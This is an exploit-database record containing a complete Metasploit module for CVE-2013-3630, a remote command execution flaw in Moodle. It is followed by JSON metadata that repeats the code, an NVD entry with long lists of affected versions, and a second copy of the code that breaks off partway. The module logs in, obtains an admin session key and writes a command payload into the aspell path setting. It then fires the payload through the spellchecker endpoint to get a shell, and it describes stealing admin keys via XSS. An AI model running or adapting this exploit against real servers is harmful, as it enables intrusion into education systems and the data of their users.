ID EDB-ID:29324 Type exploitdb Reporter metasploit Modified 2013-10-31T00:00:00
Description
Moodle Remote Command Execution. CVE-2013-3630. Remote exploit for linux platform
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rexml/document'
class Metasploit4 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Moodle Remote Command Execution',
'Description' => %q{
Moodle allows an authenticated user to define spellcheck settings via the web interface.
The user can update the spellcheck mechanism to point to a system-installed aspell binary.
By updating the path for the spellchecker to an arbitrary command, an attacker can run
arbitrary commands in the context of the web application upon spellchecking requests.
This module also allows an attacker to leverage another privilege escalation vuln.
Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey
and use this to escalate privileges to that of an admin, allowing the module to pop a shell
as a previously unprivileged authenticated user.
This module was tested against Moodle version 2.5.2 and 2.2.3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'References' =>
[
['CVE', '2013-3630'],
['EDB', '28174'], #xss vuln allowing sesskey of admins to be stolen
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet python',
}
},
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic',{}]],
'DisclosureDate' => 'Oct 30 2013',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
OptString.new('PASSWORD', [ true, "Password to authenticate with", '']),
OptString.new('SESSKEY', [ false, "The session key of the user to impersonate", ""]),
OptString.new('TARGETURI', [ true, "The URI of the Moodle installation", '/moodle/'])
], self.class)
end
def exploit
init = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/index.php')
})
sess = init.get_cookies
post = {
'username' => datastore["USERNAME"],
'password' => datastore["PASSWORD"]
}
print_status("Authenticating as user: " << datastore["USERNAME"])
login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/login/index.php'),
'vars_post' => post,
'cookie' => sess
})
if !login or login.code != 303
fail_with("Login failed")
end
sess = login.get_cookies
print_status("Getting session key to update spellchecker if no session key was specified")
sesskey = ''
if datastore['SESSKEY'] == ''
tinymce = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/admin/settings.php') + '?section=editorsettingstinymce',
'cookie' => sess
})
tinymce.body.each_line do |line|
next if line !~ /name="sesskey"/
sesskey = line[0..line.index('>')]
end
if sesskey == ''
fail_with("Unable to get proper session key")
end
sesskey = REXML::Document.new sesskey
sesskey = sesskey.root.attributes["value"]
else
sesskey = datastore['SESSKEY']
end
post = {
'section' => 'editorsettingstinymce',
'sesskey' => sesskey,
'return' => '',
's_editor_tinymce_spellengine' => 'PSpellShell',
's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv'
}
print_status("Updating spellchecker to use the system aspell")
post = {
'section' => 'systempaths',
'sesskey' => sesskey,
'return' => '',
's__gdversion' => '2',
's__pathtodu' => '/usr/bin/du',
's__aspellpath' => payload.encoded,
's__pathtodot' => ''
}
aspell = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),
'vars_post' => post,
'cookie' => sess
})
spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'
print_status("Triggering payload")
resp = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php'),
'data' => spellcheck,
'ctype' => 'application/json',
'cookie' => sess
})
if !resp or resp.code != 200
fail_with("Error triggering payload")
end
end
end
{"id": "EDB-ID:29324", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Moodle Remote Command Execution", "description": "Moodle Remote Command Execution. CVE-2013-3630. Remote exploit for linux platform", "published": "2013-10-31T00:00:00", "modified": "2013-10-31T00:00:00", "cvss": {"vector": "AV:NETWORK/AC:HIGH/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/", "score": 4.6}, "href": "https://www.exploit-db.com/exploits/29324/", "reporter": "metasploit", "references": [], "cvelist": ["CVE-2013-3630"], "lastseen": "2016-02-03T10:03:15", "viewCount": 29, "enchantments": {"score": {"value": 6.0, "vector": "NONE", "modified": "2016-02-03T10:03:15", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2013-3630"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/MULTI/HTTP/MOODLE_CMD_EXEC"]}, {"type": "zdt", "idList": ["1337DAY-ID-21422"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:123853"]}, {"type": "nessus", "idList": ["FEDORA_2013-21312.NASL", "FEDORA_2013-21354.NASL", "FEDORA_2013-21397.NASL"]}, {"type": "openvas", "idList": ["OPENVAS:867078", "OPENVAS:867083", "OPENVAS:1361412562310867078", "OPENVAS:1361412562310867083"]}], "modified": "2016-02-03T10:03:15", "rev": 2}, "vulnersScore": 6.0}, "sourceHref": "https://www.exploit-db.com/download/29324/", "sourceData": "##\r\n# This module requires Metasploit: http//metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nrequire 'msf/core'\r\nrequire 'rexml/document'\r\n\r\nclass Metasploit4 < Msf::Exploit::Remote\r\n Rank = GoodRanking\r\n\r\n include Msf::Exploit::Remote::Tcp\r\n include Msf::Exploit::Remote::HttpClient\r\n\r\n def initialize(info={})\r\n super(update_info(info,\r\n 'Name' => 'Moodle Remote Command Execution',\r\n 'Description' => %q{\r\n Moodle allows an authenticated user to define spellcheck settings via the web interface.\r\n The user can update the spellcheck mechanism to point to a system-installed aspell binary.\r\n By updating the path for the spellchecker to an arbitrary command, an attacker can run\r\n arbitrary commands in the context of the web application upon spellchecking requests.\r\n\r\n This module also allows an attacker to leverage another privilege escalation vuln.\r\n Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey\r\n and use this to escalate privileges to that of an admin, allowing the module to pop a shell\r\n as a previously unprivileged authenticated user.\r\n\r\n This module was tested against Moodle version 2.5.2 and 2.2.3.\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module\r\n ],\r\n 'References' =>\r\n [\r\n ['CVE', '2013-3630'],\r\n ['EDB', '28174'], #xss vuln allowing sesskey of admins to be stolen\r\n ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']\r\n ],\r\n 'Payload' =>\r\n {\r\n 'Compat' =>\r\n {\r\n 'PayloadType' => 'cmd',\r\n 'RequiredCmd' => 'generic perl ruby bash telnet python',\r\n }\r\n },\r\n 'Platform' => ['unix', 'linux'],\r\n 'Arch' => ARCH_CMD,\r\n 'Targets' => [['Automatic',{}]],\r\n 'DisclosureDate' => 'Oct 30 2013',\r\n 'DefaultTarget' => 0\r\n ))\r\n\r\n register_options(\r\n [\r\n OptString.new('USERNAME', [ true, \"Username to authenticate with\", 'admin']),\r\n OptString.new('PASSWORD', [ true, \"Password to authenticate with\", '']),\r\n OptString.new('SESSKEY', [ false, \"The session key of the user to impersonate\", \"\"]),\r\n OptString.new('TARGETURI', [ true, \"The URI of the Moodle installation\", '/moodle/'])\r\n ], self.class)\r\n end\r\n\r\n def exploit\r\n init = send_request_cgi({\r\n 'method' => 'GET',\r\n 'uri' => normalize_uri(target_uri.path, '/index.php')\r\n })\r\n\r\n sess = init.get_cookies\r\n\r\n post = {\r\n 'username' => datastore[\"USERNAME\"],\r\n 'password' => datastore[\"PASSWORD\"]\r\n }\r\n\r\n print_status(\"Authenticating as user: \" << datastore[\"USERNAME\"])\r\n\r\n login = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, '/login/index.php'),\r\n 'vars_post' => post,\r\n 'cookie' => sess\r\n })\r\n\r\n if !login or login.code != 303\r\n fail_with(\"Login failed\")\r\n end\r\n\r\n sess = login.get_cookies\r\n\r\n print_status(\"Getting session key to update spellchecker if no session key was specified\")\r\n\r\n sesskey = ''\r\n if datastore['SESSKEY'] == ''\r\n tinymce = send_request_cgi({\r\n 'method' => 'GET',\r\n 'uri' => normalize_uri(target_uri.path, '/admin/settings.php') + '?section=editorsettingstinymce',\r\n 'cookie' => sess\r\n })\r\n\r\n tinymce.body.each_line do |line|\r\n next if line !~ /name=\"sesskey\"/\r\n sesskey = line[0..line.index('>')]\r\n end\r\n\r\n if sesskey == ''\r\n fail_with(\"Unable to get proper session key\")\r\n end\r\n\r\n sesskey = REXML::Document.new sesskey\r\n sesskey = sesskey.root.attributes[\"value\"]\r\n else\r\n sesskey = datastore['SESSKEY']\r\n end\r\n\r\n post = {\r\n 'section' => 'editorsettingstinymce',\r\n 'sesskey' => sesskey,\r\n 'return' => '',\r\n 's_editor_tinymce_spellengine' => 'PSpellShell',\r\n 's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv'\r\n }\r\n\r\n print_status(\"Updating spellchecker to use the system aspell\")\r\n\r\n post = {\r\n 'section' => 'systempaths',\r\n 'sesskey' => sesskey,\r\n 'return' => '',\r\n 's__gdversion' => '2',\r\n 's__pathtodu' => '/usr/bin/du',\r\n 's__aspellpath' => payload.encoded,\r\n 's__pathtodot' => ''\r\n }\r\n\r\n aspell = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),\r\n 'vars_post' => post,\r\n 'cookie' => sess\r\n })\r\n\r\n spellcheck = '{\"id\":\"c0\",\"method\":\"checkWords\",\"params\":[\"en\",[\"\"]]}'\r\n\r\n print_status(\"Triggering payload\")\r\n\r\n resp = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, '/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php'),\r\n 'data' => spellcheck,\r\n 'ctype' => 'application/json',\r\n 'cookie' => sess\r\n })\r\n\r\n if !resp or resp.code != 200\r\n fail_with(\"Error triggering payload\")\r\n end\r\n\r\n end\r\nend", "osvdbidlist": ["99140"]}
{"cve": [{"lastseen": "2021-02-02T06:06:54", "description": "Moodle through 2.5.2 allows remote authenticated administrators to execute arbitrary programs by configuring the aspell pathname and then triggering a spell-check operation within the TinyMCE editor.", "edition": 7, "cvss3": {}, "published": "2013-11-01T02:55:00", "title": "CVE-2013-3630", "type": "cve", "cwe": ["CWE-94"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "HIGH", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 4.6, "vectorString": "AV:N/AC:H/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-3630"], "modified": "2020-12-01T14:52:00", "cpe": ["cpe:/a:moodle:moodle:1.6.6", "cpe:/a:moodle:moodle:2.1.6", "cpe:/a:moodle:moodle:1.8.13", "cpe:/a:moodle:moodle:1.5.3", "cpe:/a:moodle:moodle:1.9.4", "cpe:/a:moodle:moodle:2.3.2", "cpe:/a:moodle:moodle:1.8.7", "cpe:/a:moodle:moodle:1.8.2", "cpe:/a:moodle:moodle:2.3.0", "cpe:/a:moodle:moodle:2.2.4", "cpe:/a:moodle:moodle:1.3.4", "cpe:/a:moodle:moodle:2.0.2", "cpe:/a:moodle:moodle:1.3.2", "cpe:/a:moodle:moodle:1.9.2", "cpe:/a:moodle:moodle:2.2.8", "cpe:/a:moodle:moodle:2.3.3", "cpe:/a:moodle:moodle:2.3.8", "cpe:/a:moodle:moodle:1.8.6", "cpe:/a:moodle:moodle:1.9.16", "cpe:/a:moodle:moodle:2.0.7", "cpe:/a:moodle:moodle:1.7.4", "cpe:/a:moodle:moodle:1.6.0", "cpe:/a:moodle:moodle:1.8.12", "cpe:/a:moodle:moodle:2.2.7", "cpe:/a:moodle:moodle:2.0.6", "cpe:/a:moodle:moodle:2.2.6", "cpe:/a:moodle:moodle:2.2.3", "cpe:/a:moodle:moodle:1.6.3", "cpe:/a:moodle:moodle:1.5.1", "cpe:/a:moodle:moodle:1.9.7", "cpe:/a:moodle:moodle:1.9.10", "cpe:/a:moodle:moodle:1.6.7", "cpe:/a:moodle:moodle:2.4.5", "cpe:/a:moodle:moodle:1.8.4", "cpe:/a:moodle:moodle:1.6.2", "cpe:/a:moodle:moodle:2.4.2", "cpe:/a:moodle:moodle:1.9.11", "cpe:/a:moodle:moodle:2.4.4", "cpe:/a:moodle:moodle:1.8.14", "cpe:/a:moodle:moodle:1.6.1", "cpe:/a:moodle:moodle:1.8.11", "cpe:/a:moodle:moodle:1.3.3", "cpe:/a:moodle:moodle:2.3.6", "cpe:/a:moodle:moodle:1.6.5", "cpe:/a:moodle:moodle:1.3.0", "cpe:/a:moodle:moodle:2.0.8", "cpe:/a:moodle:moodle:2.2.9", "cpe:/a:moodle:moodle:1.7.1", "cpe:/a:moodle:moodle:1.5.2", "cpe:/a:moodle:moodle:2.2.1", "cpe:/a:moodle:moodle:2.3.1", "cpe:/a:moodle:moodle:1.7.3", "cpe:/a:moodle:moodle:2.4.1", "cpe:/a:moodle:moodle:1.4.5", "cpe:/a:moodle:moodle:2.2.2", "cpe:/a:moodle:moodle:2.2.0", "cpe:/a:moodle:moodle:1.4.1", "cpe:/a:moodle:moodle:1.9.17", "cpe:/a:moodle:moodle:1.1.1", "cpe:/a:moodle:moodle:2.0.5", "cpe:/a:moodle:moodle:2.1.5", "cpe:/a:moodle:moodle:1.2.1", "cpe:/a:moodle:moodle:1.6.8", "cpe:/a:moodle:moodle:1.9.1", "cpe:/a:moodle:moodle:2.1.9", "cpe:/a:moodle:moodle:2.2.5", "cpe:/a:moodle:moodle:1.4.3", "cpe:/a:moodle:moodle:1.8.1", "cpe:/a:moodle:moodle:1.3.1", "cpe:/a:moodle:moodle:1.9.8", "cpe:/a:moodle:moodle:1.9.15", "cpe:/a:moodle:moodle:2.2.11", "cpe:/a:moodle:moodle:1.8.5", "cpe:/a:moodle:moodle:2.5.0", "cpe:/a:moodle:moodle:1.9.18", "cpe:/a:moodle:moodle:1.7.2", "cpe:/a:moodle:moodle:2.5.2", "cpe:/a:moodle:moodle:2.1.0", "cpe:/a:moodle:moodle:2.0.0", "cpe:/a:moodle:moodle:2.1.8", "cpe:/a:moodle:moodle:2.3.5", "cpe:/a:moodle:moodle:1.8.9", "cpe:/a:moodle:moodle:2.1.1", "cpe:/a:moodle:moodle:1.9.13", "cpe:/a:moodle:moodle:1.5", "cpe:/a:moodle:moodle:2.1.4", "cpe:/a:moodle:moodle:1.6.4", "cpe:/a:moodle:moodle:1.9.14", "cpe:/a:moodle:moodle:2.0.9", "cpe:/a:moodle:moodle:1.7.5", "cpe:/a:moodle:moodle:1.9.5", "cpe:/a:moodle:moodle:2.4.0", "cpe:/a:moodle:moodle:2.1.3", "cpe:/a:moodle:moodle:1.2.0", "cpe:/a:moodle:moodle:2.5.1", "cpe:/a:moodle:moodle:1.9.3", "cpe:/a:moodle:moodle:2.0.1", "cpe:/a:moodle:moodle:2.1.7", "cpe:/a:moodle:moodle:1.9.6", "cpe:/a:moodle:moodle:1.9.12", "cpe:/a:moodle:moodle:1.4.4", "cpe:/a:moodle:moodle:2.1.2", "cpe:/a:moodle:moodle:2.4.3", "cpe:/a:moodle:moodle:2.3.4", "cpe:/a:moodle:moodle:2.0.4", "cpe:/a:moodle:moodle:1.8.3", "cpe:/a:moodle:moodle:1.8.10", "cpe:/a:moodle:moodle:2.0.3", "cpe:/a:moodle:moodle:1.5.0", "cpe:/a:moodle:moodle:1.8.8", "cpe:/a:moodle:moodle:2.1.10", "cpe:/a:moodle:moodle:1.7.6", "cpe:/a:moodle:moodle:1.9.9", "cpe:/a:moodle:moodle:2.3.7", "cpe:/a:moodle:moodle:1.4.2", "cpe:/a:moodle:moodle:2.2.10"], "id": "CVE-2013-3630", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-3630", "cvss": {"score": 4.6, "vector": "AV:N/AC:H/Au:S/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:moodle:moodle:1.5:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.6.2:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.0.6:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.5.1:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.4.1:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.5.0:beta:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.8.6:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.2.5:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.7.2:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.2.2:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.2.11:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.9.3:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.3.4:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.9.11:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.9.15:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.7.4:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.4.3:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.7.5:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.6.5:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.6.1:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.0.8:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.8.4:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.0.5:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.8.2:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.4.2:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.2.6:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.8.3:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.2.0:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.9.16:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.2.8:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.8.12:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.9.9:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.5.0:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.8.11:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.7.3:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.8.10:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.3.7:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.4.5:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.0.2:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.7.1:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.9.1:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.6.4:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.8.13:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.5.2:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.9.18:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.4.0:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.8.14:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.4.4:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.2.0:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.1.6:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.8.7:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.9.6:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.3.0:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.3.8:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.0.4:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.3.0:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.6.8:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.0.9:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.5.1:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.5.3:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.4.5:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.2.7:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.9.17:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.9.12:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.9.14:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.4.4:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.3.3:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.4.3:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.1.7:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.9.7:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.9.8:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.1.5:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.7.6:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.4.2:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.9.10:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.2.4:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.3.5:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.6.7:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.3.4:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.1.4:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.1.10:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.2.10:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.6.0:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.4.1:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.8.1:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.1.9:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.1.8:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.6.3:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.9.13:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.8.8:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.2.9:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.3.6:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.8.5:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.9.4:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.8.9:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.5.2:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.6.6:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.9.5:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.1.3:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.3.3:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.0.7:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:2.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:moodle:moodle:1.9.2:*:*:*:*:*:*:*"]}], "zdt": [{"lastseen": "2018-01-04T23:15:40", "description": "Moodle allows an authenticated user to define spellcheck settings via the web interface. The user can update the spellcheck mechanism to point to a system-installed aspell binary. By updating the path for the spellchecker to an arbitrary command, an attacker can run arbitrary commands in the context of the web application upon spellchecking requests. This Metasploit module also allows an attacker to leverage another privilege escalation vuln. Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey and use this to escalate privileges to that of an admin, allowing the module to pop a shell as a previously unprivileged authenticated user. This Metasploit module was tested against Moodle version 2.5.2 and 2.2.3.", "edition": 2, "published": "2013-10-31T00:00:00", "type": "zdt", "title": "Moodle Remote Command Execution Vulnerability", "bulletinFamily": "exploit", "cvelist": ["CVE-2013-3630"], "modified": "2013-10-31T00:00:00", "id": "1337DAY-ID-21422", "href": "https://0day.today/exploit/description/21422", "sourceData": "##\r\n# This module requires Metasploit: http//metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nrequire 'msf/core'\r\nrequire 'rexml/document'\r\n\r\nclass Metasploit4 < Msf::Exploit::Remote\r\n Rank = GoodRanking\r\n\r\n include Msf::Exploit::Remote::Tcp\r\n include Msf::Exploit::Remote::HttpClient\r\n\r\n def initialize(info={})\r\n super(update_info(info,\r\n 'Name' => 'Moodle Remote Command Execution',\r\n 'Description' => %q{\r\n Moodle allows an authenticated user to define spellcheck settings via the web interface.\r\n The user can update the spellcheck mechanism to point to a system-installed aspell binary.\r\n By updating the path for the spellchecker to an arbitrary command, an attacker can run\r\n arbitrary commands in the context of the web application upon spellchecking requests.\r\n\r\n This module also allows an attacker to leverage another privilege escalation vuln.\r\n Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey\r\n and use this to escalate privileges to that of an admin, allowing the module to pop a shell\r\n as a previously unprivileged authenticated user.\r\n\r\n This module was tested against Moodle version 2.5.2 and 2.2.3.\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module\r\n ],\r\n 'References' =>\r\n [\r\n ['CVE', '2013-3630'],\r\n ['EDB', '28174'], #xss vuln allowing sesskey of admins to be stolen\r\n ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']\r\n ],\r\n 'Payload' =>\r\n {\r\n 'Compat' =>\r\n {\r\n 'PayloadType' => 'cmd',\r\n 'RequiredCmd' => 'generic perl ruby bash telnet python',\r\n }\r\n },\r\n 'Platform' => ['unix', 'linux'],\r\n 'Arch' => ARCH_CMD,\r\n 'Targets' => [['Automatic',{}]],\r\n 'DisclosureDate' => 'Oct 30 2013',\r\n 'DefaultTarget' => 0\r\n ))\r\n\r\n register_options(\r\n [\r\n OptString.new('USERNAME', [ true, \"Username to authenticate with\", 'admin']),\r\n OptString.new('PASSWORD', [ true, \"Password to authenticate with\", '']),\r\n OptString.new('SESSKEY', [ false, \"The session key of the user to impersonate\", \"\"]),\r\n OptString.new('TARGETURI', [ true, \"The URI of the Moodle installation\", '/moodle/'])\r\n ], self.class)\r\n end\r\n\r\n def exploit\r\n init = send_request_cgi({\r\n 'method' => 'GET',\r\n 'uri' => normalize_uri(target_uri.path, '/index.php')\r\n })\r\n\r\n sess = init.get_cookies\r\n\r\n post = {\r\n 'username' => datastore[\"USERNAME\"],\r\n 'password' => datastore[\"PASSWORD\"]\r\n }\r\n\r\n print_status(\"Authenticating as user: \" << datastore[\"USERNAME\"])\r\n\r\n login = send_request_cgi({\r\n 'method' => 'POST',\r\n 'uri' => normalize_uri(target_uri.path, 